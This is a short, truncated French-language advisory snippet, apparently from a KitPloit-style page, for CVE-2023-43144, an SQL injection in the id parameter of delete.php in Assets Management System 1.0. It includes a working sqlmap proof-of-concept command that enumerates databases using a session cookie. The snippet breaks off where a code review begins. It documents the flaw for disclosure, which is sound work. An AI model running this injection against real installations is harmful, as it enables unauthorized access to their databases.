CVE-2023-43144

CVE-2023-43144 Description Assets Management System 1.0 est vulnérable à une injection SQL via le paramètre id dans delete.php PoC root@kitploit: sqlmap -u 'http://localhost/delete.php?id=4' --cookie="PHPSESSID=SESSID" --dbms=MySQL --dbs --batch Revue de code delete.php root@kitploit: ?php includ...